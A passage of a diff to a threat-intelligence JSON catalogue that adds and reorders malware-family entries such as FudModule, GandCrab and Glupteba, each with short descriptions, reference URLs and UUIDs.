"https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/", + "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", + "https://assets.sentinelone.com/sentinellabs/sentinellabs_EvilCorp" ], "synonyms": [ "BitPaymer", @@ -23853,6 +25257,23 @@ "uuid": "58ae14a9-c4aa-490c-8404-0eb590f5650d", "value": "FriedEx" }, + { + "description": "FudModule is a user-mode DLL that gets the ability to read and write arbitrary kernel memory via the BYOVD technique. Its main goal is to turn off Windows system monitoring features, which is done by modifying kernel variables and removing kernel callbacks. Its actions may very likely affect various types of security products, e.g. EDRs, firewalls, antimalware and even digital forensics tools.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.fudmodule", + "https://asec.ahnlab.com/wp-content/uploads/2022/09/Analysis-Report-on-Lazarus-Groups-Rootkit-Attack-Using-BYOVD_Sep-22-2022.pdf", + "https://securityintelligence.com/posts/direct-kernel-object-manipulation-attacks-etw-providers/", + "https://securityintelligence.com/posts/defensive-considerations-lazarus-fudmodule/", + "https://www.welivesecurity.com/2022/09/30/amazon-themed-campaigns-lazarus-netherlands-belgium/", + "https://www.virusbulletin.com/uploads/pdf/conference/vb2022/papers/VB2022-Lazarus-and-BYOVD-evil-to-the-Windows-core.pdf" + ], + "synonyms": [], + "type": [] + }, + "uuid": "49b53f39-3e13-48e7-a2e3-5e173af343b3", + "value": "FudModule" + }, { "description": "Fujinama is a custom VB info stealer capable to execute custom commands and custom exfiltrations, keylogging and screenshot. It was involved in the compromise of Leonardo SpA, a major Italian aerospace and defense company.", "meta": { @@ -23871,10 +25292,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.funnyswitch", - "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/a/earth-lusca-employs-sophisticated-infrastructure-varied-tools-and-techniques/technical-brief-delving-deep-an-analysis-of-earth-lusca-operations.pdf", - "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/higaisa-or-winnti-apt-41-backdoors-old-and-new/", + "https://speakerdeck.com/aragorntseng/winnti-is-coming-evolution-after-prosecution-at-hitcon2021", "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/higaisa-or-winnti-apt-41-backdoors-old-and-new/#id5-2", - "https://i.blackhat.com/Asia-22/Thursday-Materials/AS-22-LeonSilvia-NextGenPlugXShadowPad.pdf" + "https://i.blackhat.com/Asia-22/Thursday-Materials/AS-22-LeonSilvia-NextGenPlugXShadowPad.pdf", + "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/higaisa-or-winnti-apt-41-backdoors-old-and-new/", + "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/a/earth-lusca-employs-sophisticated-infrastructure-varied-tools-and-techniques/technical-brief-delving-deep-an-analysis-of-earth-lusca-operations.pdf" ], "synonyms": [ "RouterGod" @@ -23889,11 +25311,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.funny_dream", - "https://go.recordedfuture.com/hubfs/reports/cta-2021-1208.pdf", - "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", - "https://insight-jp.nttsecurity.com/post/102glv5/pandas-new-arsenal-part-3-smanager", + "https://www.bitdefender.com/files/News/CaseStudies/study/379/Bitdefender-Whitepaper-Chinese-APT.pdf", "https://nao-sec.org/2021/01/royal-road-redive.html", - "https://www.bitdefender.com/files/News/CaseStudies/study/379/Bitdefender-Whitepaper-Chinese-APT.pdf" + "https://insight-jp.nttsecurity.com/post/102glv5/pandas-new-arsenal-part-3-smanager", + "https://go.recordedfuture.com/hubfs/reports/cta-2021-1208.pdf", + "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf" ], "synonyms": [], "type": [] @@ -23914,6 +25336,19 @@ "uuid": "c9d78931-318c-4b34-af33-c90f6612a4f1", "value": "Furtim" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.fusiondrive", + "https://www.youtube.com/watch?v=_qdCGgQlHJE" + ], + "synonyms": [], + "type": [] + }, + "uuid": "5de632a3-bf82-4cef-90fa-e7199fdb932c", + "value": "FusionDrive" + }, { "description": "FuxSocy has some similarities to win.cerber but is tracked as its own family for now.", "meta": { @@ -23985,21 +25420,21 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.gameover_p2p", - "https://go.recordedfuture.com/hubfs/reports/cta-2021-0909.pdf", - "https://www.secureworks.com/research/evolution-of-the-gold-evergreen-threat-group", + "https://www.justice.gov/opa/pr/us-leads-multi-national-action-against-gameover-zeus-botnet-and-cryptolocker-ransomware", + "https://cert.ssi.gouv.fr/uploads/20220427_NP_TLPWHITE_ANSSI_FIN7.pdf", "https://web.archive.org/web/20200509171721/https://raw.githubusercontent.com/fdiskyou/threat-INTel/master/2015/GlobalThreatIntelReport.pdf", + "https://krebsonsecurity.com/2019/12/inside-evil-corp-a-100m-cybercrime-menace/", + "https://www.blackhat.com/docs/us-15/materials/us-15-Peterson-GameOver-Zeus-Badguys-And-Backends.pdf", + "https://www.cert.pl/wp-content/uploads/2015/12/2013-06-p2p-rap_en.pdf", + "https://www.secureworks.com/research/evolution-of-the-gold-evergreen-threat-group", + "https://www.wired.com/?p=2171700", "https://web.archive.org/web/20141016080249/http://www.symantec.com/connect/blogs/security-vendors-take-action-against-hidden-lynx-malware", "https://www.intel471.com/blog/cybercrime-russia-china-iran-nation-state", "https://www.wired.com/2017/03/russian-hacker-spy-botnet/", - "https://www.wired.com/?p=2171700", - "https://www.blackhat.com/docs/us-15/materials/us-15-Peterson-GameOver-Zeus-Badguys-And-Backends.pdf", - "https://cert.ssi.gouv.fr/uploads/20220427_NP_TLPWHITE_ANSSI_FIN7.pdf", - "http://www.syssec-project.eu/m/page-media/3/zeus_malware13.pdf", - "https://krebsonsecurity.com/2019/12/inside-evil-corp-a-100m-cybercrime-menace/", + "https://go.recordedfuture.com/hubfs/reports/cta-2021-0909.pdf", "https://www.lawfareblog.com/what-point-these-nation-state-indictments", - "https://www.cert.pl/wp-content/uploads/2015/12/2013-06-p2p-rap_en.pdf", - "https://www.justice.gov/opa/pr/us-leads-multi-national-action-against-gameover-zeus-botnet-and-cryptolocker-ransomware", - "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-008.pdf" + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-008.pdf", + "http://www.syssec-project.eu/m/page-media/3/zeus_malware13.pdf" ], "synonyms": [ "GOZ", @@ -24011,6 +25446,20 @@ "uuid": "ffc8c386-e9d6-4889-afdf-ebf37621bc4f", "value": "Gameover P2P" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.game_player_framework", + "https://www.youtube.com/watch?v=yVqALLtvkN8&t=8117s", + "https://securelist.com/diceyf-deploys-gameplayerframework-in-online-casino-development-studio/107723/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "3efdc56a-793c-4fbb-99ea-a4d53899713a", + "value": "GamePlayerFramework" + }, { "description": "", "meta": { @@ -24028,63 +25477,64 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.gandcrab", - "https://www.fortinet.com/blog/threat-research/gandcrab-threat-actors-retire.html", - "https://hotforsecurity.bitdefender.com/blog/belarus-authorities-arrest-gandcrab-ransomware-operator-23860.html", - "https://www.scmagazine.com/home/security-news/ransomware/gandcrab-ransomware-operators-put-in-retirement-papers/", - "https://blog.talosintelligence.com/2018/05/gandcrab-compromised-sites.html", - "https://gallery.mailchimp.com/c35aef82661dad887b8162a4f/files/e24e8206-a157-4796-a8cb-2b7262cc76e8/CSIS_Threat_Matrix_H1_2019.pdf", - "https://news.sophos.com/en-us/2019/05/24/gandcrab-spreading-via-directed-attacks-against-mysql-servers/", - "https://www.advanced-intel.com/post/the-dark-web-of-intrigue-how-revil-used-the-underground-ecosystem-to-form-an-extortion-cartel", - "https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1", - "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", - "https://intel471.com/blog/a-brief-history-of-ta505", - "https://labs.bitdefender.com/2018/02/gandcrab-ransomware-decryption-tool-available-for-free/", - "https://www.crowdstrike.com/blog/the-evolution-of-revil-ransomware-and-pinchy-spider/", - "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-001.pdf", - "https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/", - "https://blog.intel471.com/2020/03/31/revil-ransomware-as-a-service-an-analysis-of-a-ransomware-affiliate-operation/", - "https://www.virusbulletin.com/virusbulletin/2020/01/behind-scenes-gandcrabs-operation/", "https://www.youtube.com/watch?v=LUxOcpIRxmg", - "https://teamt5.org/en/posts/introducing-the-most-profitable-ransomware-revil/", - "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_1_tamada-yamazaki-nakatsuru_en.pdf", - "https://www.crowdstrike.com/blog/pinchy-spider-adopts-big-game-hunting/", - "http://www.secureworks.com/research/threat-profiles/gold-garden", - "https://www.bleepingcomputer.com/news/security/darkside-ransomware-made-90-million-in-just-nine-months/", - "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-006.pdf", - "https://www.bleepingcomputer.com/news/security/gandcrab-ransomware-being-distributed-via-malspam-disguised-as-receipts/", - "https://www.virusbulletin.com/virusbulletin/2019/11/vb2019-paper-different-ways-cook-crab-gandcrab-ransomware-service-raas-analysed-indepth/", - "https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf", - "https://www.bleepingcomputer.com/news/security/gandcrab-ransomware-operator-arrested-in-belarus/", - "https://news.sophos.com/en-us/2019/03/05/gandcrab-101-all-about-the-most-widely-distributed-ransomware-of-the-moment/", - "https://krebsonsecurity.com/2021/08/ransomware-gangs-and-the-name-game-distraction/", - "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/", - "https://www.europol.europa.eu/newsroom/news/pay-no-more-universal-gandcrab-decryption-tool-released-for-free-no-more-ransom", - "https://labs.bitdefender.com/2019/02/new-gandcrab-v5-1-decryptor-available-now/", - "https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/", - "https://enterprise.verizon.com/resources/reports/2019-data-breach-investigations-report.pdf", - "https://blog.malwarebytes.com/threat-analysis/2019/01/vidar-gandcrab-stealer-and-ransomware-combo-observed-in-the-wild/", - "https://vimeo.com/449849549", - "https://www.bleepingcomputer.com/news/security/gandcrab-ransomware-distributed-by-exploit-kits-appends-gdcb-extension/", - "https://www.bleepingcomputer.com/news/security/gandcrab-operators-use-vidar-infostealer-as-a-forerunner/", - "https://www.bleepingcomputer.com/news/security/gandcrab-ransomware-shutting-down-after-claiming-to-earn-25-billion/", "https://unit42.paloaltonetworks.com/revil-threat-actors/", - "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-008.pdf", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", - "https://sensorstechforum.com/killswitch-file-now-available-gandcrab-v4-1-2-ransomware/", - "http://asec.ahnlab.com/1145", - "https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/mcafee-atr-analyzes-sodinokibi-aka-revil-ransomware-as-a-service-what-the-code-tells-us/", - "https://web.archive.org/web/20190331091056/https://myonlinesecurity.co.uk/fake-cdc-flu-pandemic-warning-delivers-gandcrab-5-2-ransomware/", - "https://isc.sans.edu/diary/23417", - "https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-ransomware-threat-report-2021.pdf", - "https://blog.malwarebytes.com/threat-analysis/2018/01/gandcrab-ransomware-distributed-by-rig-and-grandsoft-exploit-kits/", - "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/ransomware-as-a-service-enabler-of-widespread-attacks", - "https://www.advanced-intel.com/post/inside-revil-extortionist-machine-predictive-insights", "https://www.trendmicro.com/en_in/research/21/k/global-operations-lead-to-arrests-of-alleged-members-of-gandcrab.html", - "https://krebsonsecurity.com/2019/07/whos-behind-the-gandcrab-ransomware/", "http://www.vmray.com/cyber-security-blog/gandcrab-ransomware-evolution-analysis/", - "https://labs.bitdefender.com/2019/06/good-riddance-gandcrab-were-still-fixing-the-mess-you-left-behind", + "https://www.advanced-intel.com/post/the-dark-web-of-intrigue-how-revil-used-the-underground-ecosystem-to-form-an-extortion-cartel", + "https://vimeo.com/449849549", + "https://asec.ahnlab.com/en/41450/", + "https://www.bleepingcomputer.com/news/security/darkside-ransomware-made-90-million-in-just-nine-months/", + "https://news.sophos.com/en-us/2019/05/24/gandcrab-spreading-via-directed-attacks-against-mysql-servers/", + "https://www.fortinet.com/blog/threat-research/gandcrab-threat-actors-retire.html", + "https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf", + "https://tccontre.blogspot.com/2018/11/re-gandcrab-downloader-theres-more-to.html", + "https://krebsonsecurity.com/2021/08/ransomware-gangs-and-the-name-game-distraction/", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-001.pdf", + "https://www.advanced-intel.com/post/inside-revil-extortionist-machine-predictive-insights", + "https://teamt5.org/en/posts/introducing-the-most-profitable-ransomware-revil/", "https://www.secureworks.com/research/threat-profiles/gold-garden", - "https://tccontre.blogspot.com/2018/11/re-gandcrab-downloader-theres-more-to.html" + "https://www.bleepingcomputer.com/news/security/gandcrab-ransomware-shutting-down-after-claiming-to-earn-25-billion/", + "https://www.bleepingcomputer.com/news/security/gandcrab-ransomware-operator-arrested-in-belarus/", + "https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1", + "https://enterprise.verizon.com/resources/reports/2019-data-breach-investigations-report.pdf", + "https://www.virusbulletin.com/virusbulletin/2019/11/vb2019-paper-different-ways-cook-crab-gandcrab-ransomware-service-raas-analysed-indepth/", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-008.pdf", + "https://krebsonsecurity.com/2019/07/whos-behind-the-gandcrab-ransomware/", + "https://sensorstechforum.com/killswitch-file-now-available-gandcrab-v4-1-2-ransomware/", + "http://www.secureworks.com/research/threat-profiles/gold-garden", + "https://labs.bitdefender.com/2019/02/new-gandcrab-v5-1-decryptor-available-now/", + "https://hotforsecurity.bitdefender.com/blog/belarus-authorities-arrest-gandcrab-ransomware-operator-23860.html", + "https://news.sophos.com/en-us/2019/03/05/gandcrab-101-all-about-the-most-widely-distributed-ransomware-of-the-moment/", + "http://asec.ahnlab.com/1145", + "https://web.archive.org/web/20190331091056/https://myonlinesecurity.co.uk/fake-cdc-flu-pandemic-warning-delivers-gandcrab-5-2-ransomware/", + "https://www.europol.europa.eu/newsroom/news/pay-no-more-universal-gandcrab-decryption-tool-released-for-free-no-more-ransom", + "https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-ransomware-threat-report-2021.pdf", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", + "https://labs.bitdefender.com/2018/02/gandcrab-ransomware-decryption-tool-available-for-free/", + "https://www.bleepingcomputer.com/news/security/gandcrab-ransomware-being-distributed-via-malspam-disguised-as-receipts/", + "https://www.crowdstrike.com/blog/pinchy-spider-adopts-big-game-hunting/", + "https://www.bleepingcomputer.com/news/security/gandcrab-operators-use-vidar-infostealer-as-a-forerunner/", + "https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/", + "https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/", + "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/ransomware-as-a-service-enabler-of-widespread-attacks", + "https://blog.talosintelligence.com/2018/05/gandcrab-compromised-sites.html", + "https://labs.bitdefender.com/2019/06/good-riddance-gandcrab-were-still-fixing-the-mess-you-left-behind", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-006.pdf", + "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/", + "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_1_tamada-yamazaki-nakatsuru_en.pdf", + "https://www.scmagazine.com/home/security-news/ransomware/gandcrab-ransomware-operators-put-in-retirement-papers/", + "https://blog.intel471.com/2020/03/31/revil-ransomware-as-a-service-an-analysis-of-a-ransomware-affiliate-operation/", + "https://www.crowdstrike.com/blog/the-evolution-of-revil-ransomware-and-pinchy-spider/", + "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", + "https://blog.malwarebytes.com/threat-analysis/2018/01/gandcrab-ransomware-distributed-by-rig-and-grandsoft-exploit-kits/", + "https://www.bleepingcomputer.com/news/security/gandcrab-ransomware-distributed-by-exploit-kits-appends-gdcb-extension/", + "https://www.virusbulletin.com/virusbulletin/2020/01/behind-scenes-gandcrabs-operation/", + "https://blog.malwarebytes.com/threat-analysis/2019/01/vidar-gandcrab-stealer-and-ransomware-combo-observed-in-the-wild/", + "https://gallery.mailchimp.com/c35aef82661dad887b8162a4f/files/e24e8206-a157-4796-a8cb-2b7262cc76e8/CSIS_Threat_Matrix_H1_2019.pdf", + "https://intel471.com/blog/a-brief-history-of-ta505", + "https://isc.sans.edu/diary/23417", + "https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/mcafee-atr-analyzes-sodinokibi-aka-revil-ransomware-as-a-service-what-the-code-tells-us/" ], "synonyms": [ "GrandCrab" @@ -24139,12 +25589,15 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.gazer", - 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"https://intel471.com/blog/ta505-get2-loader-malware-december-2020/", - "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", - "https://www.telekom.com/en/blog/group/article/eager-beaver-a-short-overview-of-the-restless-threat-actor-ta505-609546", - "https://intel471.com/blog/a-brief-history-of-ta505", - "https://www.proofpoint.com/us/threat-insight/post/ta505-distributes-new-sdbbot-remote-access-trojan-get2-downloader", - "https://elis531989.medium.com/funtastic-packers-and-where-to-find-them-41429a7ef9a7", - "https://www.hornetsecurity.com/en/security-information/clop-clop-ta505-html-malspam-analysis/", - "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-006.pdf", - "https://www.secureworks.com/research/threat-profiles/gold-tahoe", - "https://blog.fox-it.com/2020/11/16/ta505-a-brief-history-of-their-time/", - "https://www.telekom.com/en/blog/group/article/cybersecurity-ta505-returns-with-a-new-bag-of-tricks-602104", - "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-009.pdf", - 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"https://twitter.com/struppigel/status/1506933328599044100", "https://ke-la.com/information-stealers-a-new-landscape/", + "https://blog.talosintelligence.com/haskers-gang-zingostealer/", + "https://twitter.com/struppigel/status/1506933328599044100", "https://www.govcert.ch/downloads/whitepapers/Unflattening-ConfuserEx-Code-in-IDA.pdf" ], "synonyms": [], @@ -24605,25 +26077,27 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.globeimposter", - "https://blog.360totalsecurity.com/en/globeimposter-which-has-more-than-20-variants-is-still-wildly-growing/", - "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", - "https://intel471.com/blog/a-brief-history-of-ta505", - "https://www.emsisoft.com/ransomware-decryption-tools/globeimposter", "https://www.youtube.com/watch?v=LUxOcpIRxmg", - "https://www.acronis.com/en-us/blog/posts/globeimposter-ransomware-holiday-gift-necurs-botnet", - "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_1_tamada-yamazaki-nakatsuru_en.pdf", - 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"https://asec.ahnlab.com/ko/30284/" + "https://asec.ahnlab.com/en/48940/", + "https://info.phishlabs.com/blog/globe-imposter-ransomware-makes-a-new-run", + "https://blog.360totalsecurity.com/en/globeimposter-which-has-more-than-20-variants-is-still-wildly-growing/", + "https://asec.ahnlab.com/ko/30284/", + "https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/", + "https://www.bleepingcomputer.com/news/security/new-doc-globeimposter-ransomware-variant-malspam-campaign-underway/", + "https://go.group-ib.com/rs/689-LRE-818/images/Group-IB_Ransomware_whitepaper_eng.pdf", + "https://www.emsisoft.com/ransomware-decryption-tools/globeimposter", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-006.pdf", + "https://www.secureworks.com/research/threat-profiles/gold-swathmore", + "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_1_tamada-yamazaki-nakatsuru_en.pdf", + "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", + "https://www.sentinelone.com/blog/recent-tzw-campaigns-revealed-as-part-of-globeimposter-malware-family/", + "https://intel471.com/blog/a-brief-history-of-ta505", + "https://isc.sans.edu/diary/23417" ], "synonyms": [ "Fake Globe" @@ -24655,46 +26129,38 @@ "synonyms": [], "type": [] }, - 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After infecting a system, the Glupteba malware can be used to deliver additional malware, steal user authentication information, and enroll the infected system in a cryptomining botnet.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.glupteba", - "https://www.trendmicro.com/en_us/research/21/j/ransomware-operators-found-using-new-franchise-business-model.html", - "https://decoded.avast.io/martinhron/meris-and-trickbot-standing-on-the-shoulders-of-giants/", - "https://community.riskiq.com/article/2a36a7d2/description", - "https://news.sophos.com/en-us/2020/06/24/glupteba-report/?cmp=30728", - "https://blog.chainalysis.com/reports/2022-crypto-crime-report-preview-malware/", - "https://blog.google/technology/safety-security/new-action-combat-cyber-crime/", - "https://www.welivesecurity.com/2018/03/22/glupteba-no-longer-windigo/", - "https://www.domaintools.com/resources/blog/identifying-network-infrastructure-related-to-a-who-spoofing-campaign", - "https://www.intezer.com/wp-content/uploads/2021/02/Intezer-2020-Go-Malware-Round-Up.pdf", - "https://nakedsecurity.sophos.com/2020/06/24/glupteba-the-bot-that-gets-secret-messages-from-the-bitcoin-blockchain/", - "https://blog.google/threat-analysis-group/disrupting-glupteba-operation/", - "https://medium.com/csis-techblog/installcapital-when-adware-becomes-pay-per-install-cyber-crime-15516249a451", - "https://storage.googleapis.com/gweb-uniblog-publish-prod/documents/1_Complaint.pdf", - "http://resources.infosecinstitute.com/tdss4-part-1/", + "https://www.welivesecurity.com/2014/03/18/operation-windigo-the-vivisection-of-a-large-linux-server-side-credential-stealing-malware-campaign/", "https://habr.com/ru/company/solarsecurity/blog/578900/", - "https://thehackernews.com/2022/03/over-200000-microtik-routers-worldwide.html", - "https://www.welivesecurity.com/2011/03/02/tdl4-and-glubteba-piggyback-piggybugs/", - "https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/", + "https://www.nozominetworks.com/blog/tracking-malicious-glupteba-activity-through-the-blockchain/", + "https://storage.googleapis.com/gweb-uniblog-publish-prod/documents/1_Complaint.pdf", "https://dissectingmalwa.re/the-blame-game-about-false-flags-and-overwritten-mbrs.html", "https://blog.trendmicro.com/trendlabs-security-intelligence/glupteba-campaign-hits-network-routers-and-updates-cc-servers-with-data-from-bitcoin-transactions/", - "https://www.welivesecurity.com/2014/03/18/operation-windigo-the-vivisection-of-a-large-linux-server-side-credential-stealing-malware-campaign/", + "https://news.sophos.com/en-us/2020/06/24/glupteba-report/?cmp=30728", + "https://www.welivesecurity.com/2011/03/02/tdl4-and-glubteba-piggyback-piggybugs/", + "https://www.domaintools.com/resources/blog/identifying-network-infrastructure-related-to-a-who-spoofing-campaign", + "https://medium.com/csis-techblog/installcapital-when-adware-becomes-pay-per-install-cyber-crime-15516249a451", + "https://community.riskiq.com/article/2a36a7d2/description", + "https://blog.chainalysis.com/reports/2022-crypto-crime-report-preview-malware/", + "https://blog.google/technology/safety-security/new-action-combat-cyber-crime/", + "https://blog.google/threat-analysis-group/disrupting-glupteba-operation/", + "https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/", + "https://nakedsecurity.sophos.com/2020/06/24/glupteba-the-bot-that-gets-secret-messages-from-the-bitcoin-blockchain/", "https://labs.k7computing.com/?p=22319", + "https://www.welivesecurity.com/2018/03/22/glupteba-no-longer-windigo/", + "http://resources.infosecinstitute.com/tdss4-part-1/", "https://krebsonsecurity.com/2022/06/the-link-between-awm-proxy-the-glupteba-botnet/?utm_source=dlvr.it&utm_medium=twitter", + "https://thehackernews.com/2022/03/over-200000-microtik-routers-worldwide.html", + "https://www.intezer.com/wp-content/uploads/2021/02/Intezer-2020-Go-Malware-Round-Up.pdf", + "https://decoded.avast.io/martinhron/meris-and-trickbot-standing-on-the-shoulders-of-giants/", + "https://www.trendmicro.com/en_us/research/21/j/ransomware-operators-found-using-new-franchise-business-model.html", "https://www.bitdefender.com/files/News/CaseStudies/study/400/Bitdefender-PR-Whitepaper-MosaicLoader-creat5540-en-EN.pdf" ], "synonyms": [], @@ -24722,8 +26188,8 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.gocryptolocker", "https://id-ransomware.blogspot.com/2020/04/gocryptolocker-ransomware.html", - "https://github.com/LimerBoy/goCryptoLocker/blob/master/main.go", - "https://twitter.com/GrujaRS/status/1254657823478353920" + "https://twitter.com/GrujaRS/status/1254657823478353920", + "https://github.com/LimerBoy/goCryptoLocker/blob/master/main.go" ], "synonyms": [], "type": [] @@ -24736,9 +26202,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.godlike12", - "https://securelist.com/apt-trends-report-q2-2020/97937/", "https://www.volexity.com/blog/2020/03/31/storm-cloud-unleashed-tibetan-community-focus-of-highly-targeted-fake-flash-campaign/", - "https://securelist.com/holy-water-ongoing-targeted-water-holing-attack-in-asia/96311/" + "https://securelist.com/holy-water-ongoing-targeted-water-holing-attack-in-asia/96311/", + "https://securelist.com/apt-trends-report-q2-2020/97937/" ], "synonyms": [ "GOSLU" @@ -24800,15 +26266,6 @@ "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "4bc55eb3-7c92-4668-a75a-d5e291387613", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "7d89e8dc-4999-47e9-b497-b476e368a8d2", "value": "Goggles" }, @@ -24827,13 +26284,26 @@ "uuid": "034a3db0-b53c-4ec1-9390-4b6f214e1233", "value": "GoGoogle" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.goldbackdoor", + "https://stairwell.com/wp-content/uploads/2022/04/Stairwell-threat-report-The-ink-stained-trail-of-GOLDBACKDOOR.pdf" + ], + "synonyms": [], + "type": [] + }, + "uuid": "54f5cf02-6fdc-43b4-af06-87af1a901264", + "value": "GOLDBACKDOOR" + }, { "description": "", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.goldeneye", - "https://blog.malwarebytes.com/threat-analysis/2016/12/goldeneye-ransomware-the-petyamischa-combo-rebranded/", - "https://blog.malwarebytes.com/cybercrime/2017/07/keeping-up-with-the-petyas-demystifying-the-malware-family/" + "https://blog.malwarebytes.com/cybercrime/2017/07/keeping-up-with-the-petyas-demystifying-the-malware-family/", + "https://blog.malwarebytes.com/threat-analysis/2016/12/goldeneye-ransomware-the-petyamischa-combo-rebranded/" ], "synonyms": [ "Petya/Mischa" @@ -24848,8 +26318,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.goldenhelper", - "https://tomiwa-xy.medium.com/static-analysis-of-goldenhelper-malware-golden-tax-malware-d9f85a88e74d", - "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/goldenspy-chapter-4-goldenhelper-malware-embedded-in-official-golden-tax-software/" + "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/goldenspy-chapter-4-goldenhelper-malware-embedded-in-official-golden-tax-software/", + "https://tomiwa-xy.medium.com/static-analysis-of-goldenhelper-malware-golden-tax-malware-d9f85a88e74d" ], "synonyms": [], "type": [] @@ -24862,15 +26332,15 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.goldenspy", - "https://www.atlanticcouncil.org/wp-content/uploads/2020/07/Breaking-trust-Shades-of-crisis-across-an-insecure-software-supply-chain.pdf", - "https://www.ic3.gov/Media/News/2020/201103-1.pdf", - "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/goldenspy-chapter-4-goldenhelper-malware-embedded-in-official-golden-tax-software/", + "https://www.bka.de/SharedDocs/Downloads/DE/IhreSicherheit/Warnhinweise/WarnhinweisGOLDENSPY.pdf", "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/goldenspy-chapter-two-the-uninstaller/", - "https://trustwave.azureedge.net/media/16908/the-golden-tax-department-and-emergence-of-goldenspy-malware.pdf", - "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/the-golden-tax-department-and-the-emergence-of-goldenspy-malware/", - "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/goldenspy-chapter-3-new-and-improved-uninstaller/", "https://www.ic3.gov/media/news/2020/200728.pdf", - "https://www.bka.de/SharedDocs/Downloads/DE/IhreSicherheit/Warnhinweise/WarnhinweisGOLDENSPY.pdf" + "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/goldenspy-chapter-3-new-and-improved-uninstaller/", + "https://trustwave.azureedge.net/media/16908/the-golden-tax-department-and-emergence-of-goldenspy-malware.pdf", + 